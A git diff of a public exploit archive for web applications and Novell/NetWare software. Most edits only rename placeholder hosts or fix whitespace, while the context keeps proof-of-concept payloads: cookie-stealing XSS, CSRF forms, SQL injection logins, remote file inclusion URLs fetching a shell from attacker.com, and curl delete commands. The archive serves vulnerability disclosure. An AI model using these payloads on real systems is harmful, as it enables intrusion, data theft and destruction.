a/platforms/multiple/webapps/14606.html +++ b/platforms/multiple/webapps/14606.html @@ -83,7 +83,7 @@ XSS - <body> -<form method="POST" action="https://server/anonymous_requests"name="explForm"> +<form method="POST" action="https://site.com/anonymous_requests"name="explForm"> <input type=hidden name=email value='"><script>alert("I could have just stolen your cookie" + document.cookie);</script>' @@ -100,7 +100,7 @@ setTimeout('explForm.submit()', 1000 * 1); CSRF - -<form action="http://server/users" class="new_user" enctype="multipart/form-data" id="user-form" method="post" name="userform" onsubmit="return submitUser()"> +<form action="http://site.com/users" class="new_user" enctype="multipart/form-data" id="user-form" method="post" name="userform" onsubmit="return submitUser()"> <input id="ignore-upload-user" name="ignoreupload" type="hidden" value="0" /> diff --git a/platforms/multiple/webapps/14629.html b/platforms/multiple/webapps/14629.html index 8e20a981c..0c0c7291f 100755 --- a/platforms/multiple/webapps/14629.html +++ b/platforms/multiple/webapps/14629.html @@ -23,4 +23,4 @@ document.getElementById('submit').click(); </html> #####################Exploit Change Admin Password########################## -Ramadan Kareem !! \ No newline at end of file +Ramadan Kareem !! \ No newline at end of file diff --git a/platforms/multiple/webapps/18247.txt b/platforms/multiple/webapps/18247.txt index 13b3db62b..b95e5119b 100755 --- a/platforms/multiple/webapps/18247.txt +++ b/platforms/multiple/webapps/18247.txt @@ -13,4 +13,4 @@ Log in details: Username: x'or'x'='x Password: x'or'x'='x --------------------------------------------------------------------------------"Indian" \ No newline at end of file +-------------------------------------------------------------------------------"Indian" \ No newline at end of file diff --git a/platforms/multiple/webapps/18745.txt b/platforms/multiple/webapps/18745.txt index a1903c79b..18ec05299 100755 --- a/platforms/multiple/webapps/18745.txt +++ b/platforms/multiple/webapps/18745.txt @@ -1,4 +1,4 @@ -_______ _______ _______ __ + _______ _______ _______ __ | _ |.--.--.| _ || _ | .-----.| | |. | ||_ _|| | ||. | | __ | || | |. | ||__.__| \___ ||. | ||__||__|__||__| diff --git a/platforms/multiple/webapps/23924.txt b/platforms/multiple/webapps/23924.txt index b82fcbf66..2c686774d 100755 --- a/platforms/multiple/webapps/23924.txt +++ b/platforms/multiple/webapps/23924.txt @@ -22,7 +22,7 @@ data and sites during the proof-of-concept. Exploit steps for proof-of-concept: 1. Create an external site/page: -http://attackerserver/nexpose-csrf.htm that contains: +http://attackersite.com/nexpose-csrf.htm that contains: [code] <html> <!-- Nexpose CSRF PoC --> @@ -38,7 +38,7 @@ method="POST" enctype="multipart/form-data"> </body> </html> [/code] -2. Lure victim to http://attackerserver/nexpose-csrf.htm. +2. Lure victim to http://attackersite.com/nexpose-csrf.htm. 3. Site with ID 1 is deleted when form is submitted. Vendor Notified: Yes diff --git a/platforms/multiple/webapps/31234.txt b/platforms/multiple/webapps/31234.txt index 73c991ad6..d0f7349fb 100755 --- a/platforms/multiple/webapps/31234.txt +++ b/platforms/multiple/webapps/31234.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to access potentially sensitive information o These issues affect webcamXP 3.72.440 and 4.05.280 beta and prior versions. -http://www.example.com:8080/show_gallery_pic?id=999999 \ No newline at end of file +http://www.example.com:8080/show_gallery_pic?id=999999 \ No newline at end of file diff --git a/platforms/multiple/webapps/31673.txt b/platforms/multiple/webapps/31673.txt index aab92a712..abefe7c0d 100755 --- a/platforms/multiple/webapps/31673.txt +++ b/platforms/multiple/webapps/31673.txt @@ -6,4 +6,4 @@ Successful exploits aid in transferring malicious content to unsuspecting users' Azureus HTML WebUI 0.7.6 is vulnerable; other versions may also be affected. -http://www.example.com:6886/index.tmpl?d=u&upurl=http://localhost/backdoor.torrent \ No newline at end of file +http://www.example.com:6886/index.tmpl?d=u&upurl=http://localhost/backdoor.torrent \ No newline at end of file diff --git a/platforms/multiple/webapps/32576.txt b/platforms/multiple/webapps/32576.txt index fc4e11951..3fa43ffac 100755 --- a/platforms/multiple/webapps/32576.txt +++ b/platforms/multiple/webapps/32576.txt @@ -8,4 +8,4 @@ We don't know which versions of IBM Tivoli Netcool Service Quality Manager are a NOTE: IBM Tivoli Netcool Service Quality Manager may also have been known as 'Vallent Metrica Service Assurance'. -http://www.example.com/<document root>/ReportTree?action=generatedreportresults&elementid="><SCRIPT>alert("Non persistant XSS");</SCRIPT><!--&date=0000000000000 http://www.example.com/<document root>/Launch?jnlpname=="><SCRIPT>alert("Non Persistant XSS");</SCRIPT> http://www.example.com/<document_root>/ReportRequest?dateformat=dd%2FMM%2Fyyyy&reporttitle=some_title&reportID=some_stuff&version=0&treesrc=&treetitle=&p_wstring=&p_dataperiod =none%3A%23%3Araw&startdate=01%2F01%2F2008&reporttype=offline&%3Atasklabel=<SCRIPT>alert(Persistant XSS!);</SCRIPT>&none_agg_specified=false&windowtype=main \ No newline at end of file +http://www.example.com/<document root>/ReportTree?action=generatedreportresults&elementid="><SCRIPT>alert("Non persistant XSS");</SCRIPT><!--&date=0000000000000 http://www.example.com/<document root>/Launch?jnlpname=="><SCRIPT>alert("Non Persistant XSS");</SCRIPT> http://www.example.com/<document_root>/ReportRequest?dateformat=dd%2FMM%2Fyyyy&reporttitle=some_title&reportID=some_stuff&version=0&treesrc=&treetitle=&p_wstring=&p_dataperiod =none%3A%23%3Araw&startdate=01%2F01%2F2008&reporttype=offline&%3Atasklabel=<SCRIPT>alert(Persistant XSS!);</SCRIPT>&none_agg_specified=false&windowtype=main \ No newline at end of file diff --git a/platforms/multiple/webapps/32631.txt b/platforms/multiple/webapps/32631.txt index 204f0ee5a..10bdbea6f 100755 --- a/platforms/multiple/webapps/32631.txt +++ b/platforms/multiple/webapps/32631.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects versions prior to Rational ClearCase 7.0.0.4 and 7.0.1.3. -http://www.example.com/ccrc/??''??script?alert(1234)?/script?=123 \ No newline at end of file +http://www.example.com/ccrc/??''??script?alert(1234)?/script?=123 \ No newline at end of file diff --git a/platforms/multiple/webapps/32765.txt b/platforms/multiple/webapps/32765.txt index 9531774e7..75d39362b 100755 --- a/platforms/multiple/webapps/32765.txt +++ b/platforms/multiple/webapps/32765.txt @@ -6,7 +6,7 @@ # Software Link: http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=12 # Version: # Tested on: linux -# www.server/[path]/CSUpload/CSUpload.cgi +# www.Site.com/[path]/CSUpload/CSUpload.cgi # [path] : /cgi-script/ or /cgi-bin/ or None # Example: diff --git a/platforms/multiple/webapps/32896.html b/platforms/multiple/webapps/32896.html index 031ebe03d..74059f854 100755 --- a/platforms/multiple/webapps/32896.html +++ b/platforms/multiple/webapps/32896.html @@ -11,4 +11,4 @@ An attacker can exploit these issues to obtain sensitive information, execute ar Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. -<html> <body onload="document.foobar.submit()"> <form name="foobar" method="post" action="http://example.com/private/blade_power_action" style="display:none"> <input name="COMMAND" value="6.3.2"> <input name="STATE" value="0"> <input name="CHECKED" value="15"> <input name="selall" value="on"> <input name="sel" value="bl1"> <input name="sel" value="bl2"> <input name="sel" value="bl3"> <input name="sel" value="bl4"> <input name="JUNK" value="1"> </form> <body> </html> \ No newline at end of file +<html> <body onload="document.foobar.submit()"> <form name="foobar" method="post" action="http://example.com/private/blade_power_action" style="display:none"> <input name="COMMAND" value="6.3.2"> <input name="STATE" value="0"> <input name="CHECKED" value="15"> <input name="selall" value="on"> <input name="sel" value="bl1"> <input name="sel" value="bl2"> <input name="sel" value="bl3"> <input name="sel" value="bl4"> <input name="JUNK" value="1"> </form> <body> </html> \ No newline at end of file diff --git a/platforms/multiple/webapps/33180.txt b/platforms/multiple/webapps/33180.txt index 24b056d7d..4dae9e912 100755 --- a/platforms/multiple/webapps/33180.txt +++ b/platforms/multiple/webapps/33180.txt @@ -6,4 +6,4 @@ An attacker could exploit this vulnerability to execute arbitrary script code in Versions prior to Flex SDK 3.4 are vulnerable. -http://www.example.com/Flex/index.template.html?"/></object><script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/Flex/index.template.html?"/></object><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/multiple/webapps/33493.txt b/platforms/multiple/webapps/33493.txt index 62a40aece..c0ad831c6 100755 --- a/platforms/multiple/webapps/33493.txt +++ b/platforms/multiple/webapps/33493.txt @@ -41,3 +41,4 @@ Setup -> Smart links -> Create new smart link -> Title it <script>alert("XSS")</ http://research.openflare.org/poc/maya-edms/maya-edms_multiple_xss.avi + \ No newline at end of file diff --git a/platforms/multiple/webapps/33511.txt b/platforms/multiple/webapps/33511.txt index 96460f831..9f6c3414f 100755 --- a/platforms/multiple/webapps/33511.txt +++ b/platforms/multiple/webapps/33511.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Zenoss 2.3.3 is affected; other versions may be vulnerable as well. -http://www.example.com/zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=& offset=0&count=60 into outfile "/tmp/z" \ No newline at end of file +http://www.example.com/zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=& offset=0&count=60 into outfile "/tmp/z" \ No newline at end of file diff --git a/platforms/multiple/webapps/33731.txt b/platforms/multiple/webapps/33731.txt index b8d17882e..54dcee2b1 100755 --- a/platforms/multiple/webapps/33731.txt +++ b/platforms/multiple/webapps/33731.txt @@ -9,4 +9,4 @@ Friendly Technologies TR-069 ACS 2.8.9 is vulnerable; other versions may also be The following example data is available: Username: ' or 1=1-- -Password: ' or 1=1-- \ No newline at end of file +Password: ' or 1=1-- \ No newline at end of file diff --git a/platforms/multiple/webapps/33937.txt b/platforms/multiple/webapps/33937.txt index 8ee95c4a4..36587e719 100755 --- a/platforms/multiple/webapps/33937.txt +++ b/platforms/multiple/webapps/33937.txt @@ -11,4 +11,4 @@ Example URIs are available: http://www.example.com/modules/mod_joomulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E -http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file diff --git a/platforms/multiple/webapps/34224.txt b/platforms/multiple/webapps/34224.txt index e9af10bda..bfba77cb4 100755 --- a/platforms/multiple/webapps/34224.txt +++ b/platforms/multiple/webapps/34224.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow a remote attacker to perform certain administr The following example URI is available: -http://www.example.com/admin/backend/window/loadClass/saveItem?noCache=1277145391050&rsn=1&username=admin&passwd=admin&email=suck2%40example.org&groups=[%221%22]&module=users&code=users%2FeditMe%2F \ No newline at end of file +http://www.example.com/admin/backend/window/loadClass/saveItem?noCache=1277145391050&rsn=1&username=admin&passwd=admin&email=suck2%40example.org&groups=[%221%22]&module=users&code=users%2FeditMe%2F \ No newline at end of file diff --git a/platforms/multiple/webapps/34917.txt b/platforms/multiple/webapps/34917.txt index ac5595301..942be9fe6 100755 --- a/platforms/multiple/webapps/34917.txt +++ b/platforms/multiple/webapps/34917.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable -http://www.example.com/ibm/wpm/webseal?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/ibm/wpm/webseal?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/webapps/35233.txt b/platforms/multiple/webapps/35233.txt index db157818a..0e9ed8ebf 100755 --- a/platforms/multiple/webapps/35233.txt +++ b/platforms/multiple/webapps/35233.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/path/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E -http://www.example.com/path/tagcloud-ru.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file +http://www.example.com/path/tagcloud-ru.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file diff --git a/platforms/multiple/webapps/35743.txt b/platforms/multiple/webapps/35743.txt index 8dab38b03..6e6d55a11 100755 --- a/platforms/multiple/webapps/35743.txt +++ b/platforms/multiple/webapps/35743.txt @@ -11,4 +11,4 @@ MT-Cumulus 1.02 and prior versions http://www.example.com/scripts/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E -http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file +http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file diff --git a/platforms/multiple/webapps/36126.txt b/platforms/multiple/webapps/36126.txt index 546708ef3..fe89943f7 100755 --- a/platforms/multiple/webapps/36126.txt +++ b/platforms/multiple/webapps/36126.txt @@ -129,4 +129,4 @@ Configuration: Default VIII. Credits ======================================================== Discovered by Rehan Ahmed - knight_rehan@hotmail.com \ No newline at end of file + knight_rehan@hotmail.com \ No newline at end of file diff --git a/platforms/multiple/webapps/36575.py b/platforms/multiple/webapps/36575.py index 8fbec0f87..8af9b126b 100755 --- a/platforms/multiple/webapps/36575.py +++ b/platforms/multiple/webapps/36575.py @@ -380,7 +380,7 @@ if sys.version_info[0] == 3: print (RED + "\n * Not compatible with version 3 of python.\n" " Please run it with version 2.7 or lower.\n\n" +BLUE+" * Example:\n" - " python2.7 " + sys.argv[0]+ " https://server\n\n"+ENDC ) + " python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC ) sys.exit(1) # check Args @@ -389,7 +389,7 @@ if status == 0: url = sys.argv[1] elif status == 1: print RED + "\n * Error: %s" %message - print BLUE + "\n Example:\n python %s https://server.br\n" %sys.argv[0] + ENDC + print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC sys.exit(status) elif status == 2: url = ''.join(['http://',sys.argv[1]]) diff --git a/platforms/multiple/webapps/37470.txt b/platforms/multiple/webapps/37470.txt index d5f9b5375..ec79a5399 100755 --- a/platforms/multiple/webapps/37470.txt +++ b/platforms/multiple/webapps/37470.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SWFUpload 2.2.0.1 is vulnerable; prior versions may also be affected. -http://www.example.com/v220/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;// \ No newline at end of file +http://www.example.com/v220/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;// \ No newline at end of file diff --git a/platforms/multiple/webapps/37569.txt b/platforms/multiple/webapps/37569.txt index 8db9505ee..f01930850 100755 --- a/platforms/multiple/webapps/37569.txt +++ b/platforms/multiple/webapps/37569.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ntop 4.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/plugins/rrdPlugin?action=arbreq&which=graph&arbfile=TEST">[XSS]&arbiface=eth0&start=1343344529&end=1343348129&counter=&title=Active+End+Nodes&mode=zoom \ No newline at end of file +http://www.example.com/plugins/rrdPlugin?action=arbreq&which=graph&arbfile=TEST">[XSS]&arbiface=eth0&start=1343344529&end=1343348129&counter=&title=Active+End+Nodes&mode=zoom \ No newline at end of file diff --git a/platforms/multiple/webapps/38016.txt b/platforms/multiple/webapps/38016.txt index 0b863ff2d..dace94563 100755 --- a/platforms/multiple/webapps/38016.txt +++ b/platforms/multiple/webapps/38016.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc ESRI ArcGIS for Server 10.1 is vulnerable; other versions may also be affected. -http://www.example.com:6080/arcgis/rest/services//query?f=json&where=featured%3Dtrue&returnGeometry=true&spatialRel=esriSpatialRelIntersects \ No newline at end of file +http://www.example.com:6080/arcgis/rest/services//query?f=json&where=featured%3Dtrue&returnGeometry=true&spatialRel=esriSpatialRelIntersects \ No newline at end of file diff --git a/platforms/multiple/webapps/38062.txt b/platforms/multiple/webapps/38062.txt index 64cd2030a..61ef5add3 100755 --- a/platforms/multiple/webapps/38062.txt +++ b/platforms/multiple/webapps/38062.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. Forescout CounterACT 6.3.4.1 is vulnerable; other versions may also be affected. -http://www.example.com/assets/login?a=http://www.evil.com \ No newline at end of file +http://www.example.com/assets/login?a=http://www.evil.com \ No newline at end of file diff --git a/platforms/multiple/webapps/38463.txt b/platforms/multiple/webapps/38463.txt index 28c9dc7ab..5bb409f23 100755 --- a/platforms/multiple/webapps/38463.txt +++ b/platforms/multiple/webapps/38463.txt @@ -4,4 +4,4 @@ Aibolit is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. - http://www.example.com/AI-BOLIT-REPORT-<date>-< time>.html \ No newline at end of file + http://www.example.com/AI-BOLIT-REPORT-<date>-< time>.html \ No newline at end of file diff --git a/platforms/multiple/webapps/39288.txt b/platforms/multiple/webapps/39288.txt index 0e8288236..9df39e20d 100755 --- a/platforms/multiple/webapps/39288.txt +++ b/platforms/multiple/webapps/39288.txt @@ -10,4 +10,4 @@ ManageEngine Password Manager Pro 5 through 7 build 7003 ManageEngine IT360 8 through 10.1.1 build 10110 www.example.com/MetadataServlet.dat?sv=[SQLi] -www.example.com/console/MetadataServlet.dat?sv=[SQLi] \ No newline at end of file +www.example.com/console/MetadataServlet.dat?sv=[SQLi] \ No newline at end of file diff --git a/platforms/multiple/webapps/39435.txt b/platforms/multiple/webapps/39435.txt index 13a9f7fcb..90e026d0a 100755 --- a/platforms/multiple/webapps/39435.txt +++ b/platforms/multiple/webapps/39435.txt @@ -91,7 +91,7 @@ following exception message: (org.apache.sling.api.resource.PersistenceException No actual files are deleted with this request however, the HTML response contains a `ChangeLog` field which is where all enumerated folder/file names are displayed (if existing). For instance, following POC command can be used to reproduce the said behavior. -curl -F``:operation=delete`` -F``:applyTo=/foldername/*`` http://webserver/path/file.html +curl -F``:operation=delete`` -F``:applyTo=/foldername/*`` http://website.com/path/file.html To reproduce this in real world, I found an adobe website which is currently affected with this behavior. You can use the following CURL command to reproduce the POC: @@ -115,7 +115,7 @@ The security vulnerability can be exploited by remote attackers without privileg For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: -1. curl -F":operation=delete" -F":applyTo=/foldername/*" http://webserver/path/file.html +1. curl -F":operation=delete" -F":applyTo=/foldername/*" http://website.com/path/file.html 2. curl -F":operation=delete" -F":applyTo=/etc/*" https://www.adobedemo.com/content/adobedemolab/welcome-page.html diff --git a/platforms/multiple/webapps/9716.txt b/platforms/multiple/webapps/9716.txt index e1fc53608..ab403cfc9 100755 --- a/platforms/multiple/webapps/9716.txt +++ b/platforms/multiple/webapps/9716.txt @@ -1,4 +1,4 @@ -[#]Network Management/Inventory System [header.php] Remote File Include Vulnerability[#] + [#]Network Management/Inventory System [header.php] Remote File Include Vulnerability[#] ---------------------------------------------------------------------------------- diff --git a/platforms/multiple/webapps/9724.txt b/platforms/multiple/webapps/9724.txt index 7145ef37b..3f3df7c12 100755 --- a/platforms/multiple/webapps/9724.txt +++ b/platforms/multiple/webapps/9724.txt @@ -1,4 +1,4 @@ -+ BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability + + + BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability + [@]======================================================================================================[@] diff --git a/platforms/multiple/webapps/9728.txt b/platforms/multiple/webapps/9728.txt index debcc5667..68cd1eaf5 100755 --- a/platforms/multiple/webapps/9728.txt +++ b/platforms/multiple/webapps/9728.txt @@ -12,7 +12,7 @@ # line 4 require_once $sPath.'include/variable.class.php'; ######################################################################## #3xplo!t : -#http://server/[path]/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? +#http://target.com/[path]/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? ######################################################################## #Greetz : MyMom [alm] #Special Thanks : str0ke, All MusLim HacKers diff --git a/platforms/multiple/webapps/9729.txt b/platforms/multiple/webapps/9729.txt index 4d3026fc9..da7dbd35e 100755 --- a/platforms/multiple/webapps/9729.txt +++ b/platforms/multiple/webapps/9729.txt @@ -18,11 +18,11 @@ # require_once $pathToIndex . '/lib/Loggix/Module.php'; ######################################################################## #3xplo!t : -#http://server/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt??? -#http://server/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt??? -#http://server/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt??? -#http://server/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt??? -#http://server/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt??? +#http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt??? +#http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt??? +#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt??? +#http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt??? +#http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt??? ######################################################################## #Greetz : MyMom [alm] #Special Thanks : str0ke, All MusLim HacKers diff --git a/platforms/netware/dos/17298.txt b/platforms/netware/dos/17298.txt index 7b85a3cc5..256eb19b0 100755 --- a/platforms/netware/dos/17298.txt +++ b/platforms/netware/dos/17298.txt @@ -1,4 +1,4 @@ -nSense Vulnerability Research Security Advisory NSENSE-2011-002 + nSense Vulnerability Research Security Advisory NSENSE-2011-002 --------------------------------------------------------------- Affected Vendor: Novell diff --git a/platforms/netware/remote/19365.txt b/platforms/netware/remote/19365.txt index 54f13970c..40bedd236 100755 --- a/platforms/netware/remote/19365.txt +++ b/platforms/netware/remote/19365.txt @@ -7,4 +7,4 @@ CX /T /A /R - list all readable user and container object names in tree, and can NLIST USER /D - list info regarding user names in current context NLIST GROUPS /D - list groups and group membership in current context NLIST SERVER /D - list server names and OS versions, and if attached reveal if accounting is installed or not -NLIST /OT=* /DYN /D - list all readable objects, including dynamic objects, names of NDS trees, etc \ No newline at end of file +NLIST /OT=* /DYN /D - list all readable objects, including dynamic objects, names of NDS trees, etc \ No newline at end of file diff --git a/platforms/netware/remote/23586.txt b/platforms/netware/remote/23586.txt index 64716c643..44b2392f4 100755 --- a/platforms/netware/remote/23586.txt +++ b/platforms/netware/remote/23586.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9479/info Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. -http://www.example.com/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas \ No newline at end of file +http://www.example.com/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas \ No newline at end of file diff --git a/platforms/novell/dos/19541.txt b/platforms/novell/dos/19541.txt index 7abc338c2..57703274e 100755 --- a/platforms/novell/dos/19541.txt +++ b/platforms/novell/dos/19541.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/700/info Novell client versions 3.0 and 3.01 for Windows platforms are vulnerable to a remotely exploitable vulnerability which could cause a denial of service. The client opens a listening tcp socket on port 427, to which if a SYN is sent, results in the machine locking with a "blue screen" error. The only solution from that point is to reset the affected computer. -nmap -sS -p 427 <target> \ No newline at end of file +nmap -sS -p 427 <target> \ No newline at end of file diff --git a/platforms/novell/dos/19744.txt b/platforms/novell/dos/19744.txt index c9fdc7101..0e022d193 100755 --- a/platforms/novell/dos/19744.txt +++ b/platforms/novell/dos/19744.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/972/info By requesting a long URL from a Novell Groupwise 5.5 webserver with the Enhancement Pack installed, it is possible to cause the server to abend, the Java.nlm to take up all available CPU resource, or to stop the post office service. The server will need to be rebooted to restore normal operation. -http ://target/servlet/long string of 200+ characters \ No newline at end of file +http ://target/servlet/long string of 200+ characters \ No newline at end of file diff --git a/platforms/novell/dos/19746.txt b/platforms/novell/dos/19746.txt index 8ad94409d..d1dbb8de3 100755 --- a/platforms/novell/dos/19746.txt +++ b/platforms/novell/dos/19746.txt @@ -6,4 +6,4 @@ The CS Audit Trail Proxy is handled by CSATPRX.NLM telnet target:2000 <enter> -<enter> \ No newline at end of file +<enter> \ No newline at end of file diff --git a/platforms/novell/dos/22749.txt b/platforms/novell/dos/22749.txt index 4e2deff9f..cd0663334 100755 --- a/platforms/novell/dos/22749.txt +++ b/platforms/novell/dos/22749.txt @@ -10,4 +10,4 @@ Transfer-Encoding:Chunked (Enter) (Enter) AAAAAAAA (Enter) -(Enter) \ No newline at end of file +(Enter) \ No newline at end of file diff --git a/platforms/novell/dos/33183.html b/platforms/novell/dos/33183.html index 584263490..bd950f02a 100755 --- a/platforms/novell/dos/33183.html +++ b/platforms/novell/dos/33183.html @@ -6,4 +6,4 @@ A successful attack allows a remote attacker to crash an application that is usi Novell Client 4.91.5.1 is vulnerable; other versions may also be affected. -<html><body> <object classid="CLSID:{3D321EAD-C7B1-41E8-82DD-0855E1E1B0AA}" ></object> </body></html> \ No newline at end of file +<html><body> <object classid="CLSID:{3D321EAD-C7B1-41E8-82DD-0855E1E1B0AA}" ></object> </body></html> \ No newline at end of file diff --git a/platforms/novell/dos/33184.html b/platforms/novell/dos/33184.html index 551f8c74a..944e6d798 100755 --- a/platforms/novell/dos/33184.html +++ b/platforms/novell/dos/33184.html @@ -6,4 +6,4 @@ A successful attack allows a remote attacker to crash an application that is usi Novell Client 4.91.5.1 is vulnerable; other versions may also be affected. -<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html> \ No newline at end of file +<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html> \ No newline at end of file diff --git a/platforms/novell/remote/20482.txt b/platforms/novell/remote/20482.txt index 9c58221a9..d57ec9b70 100755 --- a/platforms/novell/remote/20482.txt +++ b/platforms/novell/remote/20482.txt @@ -4,4 +4,4 @@ Novell Web Server 3.x Examples Toolkit v.2 is a package containing example scrip http://victim.host/perl/files.pl?file=sys:system/autoexec.ncf http://victim.host/perl/files.pl?file=sys:etc/ldremote.ncf -http://victim.host/perl/files.pl?file=vol2:apps/accounting/payroll.doc \ No newline at end of file +http://victim.host/perl/files.pl?file=vol2:apps/accounting/payroll.doc \ No newline at end of file diff --git a/platforms/novell/remote/21182.txt b/platforms/novell/remote/21182.txt index 1cd3f1a85..6ea2b4bae 100755 --- a/platforms/novell/remote/21182.txt +++ b/platforms/novell/remote/21182.txt @@ -6,4 +6,4 @@ A remote attacker may gain access to the Servlet Manager interface by entering t http://server/servlet/ServletManager username servlet -password manager \ No newline at end of file +password manager \ No newline at end of file diff --git a/platforms/novell/remote/29699.txt b/platforms/novell/remote/29699.txt index 92549ec4c..39b7c62e3 100755 --- a/platforms/novell/remote/29699.txt +++ b/platforms/novell/remote/29699.txt @@ -16,4 +16,4 @@ protocol :tcp action :allow }; -The above example demonstrates how an attacker would allow their client machine HTTP access to any host on the remote network. \ No newline at end of file +The above example demonstrates how an attacker would allow their client machine HTTP access to any host on the remote network. \ No newline at end of file diff --git a/platforms/novell/remote/31095.txt b/platforms/novell/remote/31095.txt index c8b8a16b6..fe2750471 100755 --- a/platforms/novell/remote/31095.txt +++ b/platforms/novell/remote/31095.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to perform cross-site scripting at Novell GroupWise WebAccess 7 is vulnerable; other versions may also be affected. http://www.example.com/servlet/webacc?Error=[XSS] -http://www.example.com/servlet/webacc?User.html=[XSS] \ No newline at end of file +http://www.example.com/servlet/webacc?User.html=[XSS] \ No newline at end of file diff --git a/platforms/novell/remote/31533.txt b/platforms/novell/remote/31533.txt index 137fb7b78..17e743d0e 100755 --- a/platforms/novell/remote/31533.txt +++ b/platforms/novell/remote/31533.txt @@ -7,4 +7,4 @@ Unauthenticated attackers can exploit this issue. This issue affects eDirectory 8.8 (and earlier) as well as 8.7.3.9 (and earlier). java -cp eMBoxClient.jar embox -i -login -s edir_ip_address -p port (port can be 8008, 8009, 80, 443, 8030) \ No newline at end of file +login -s edir_ip_address -p port (port can be 8008, 8009, 80, 443, 8030) \ No newline at end of file diff --git a/platforms/novell/remote/32876.txt b/platforms/novell/remote/32876.txt index 3e58add15..1dff1b862 100755 --- a/platforms/novell/remote/32876.txt +++ b/platforms/novell/remote/32876.txt @@ -28,4 +28,4 @@ Denial 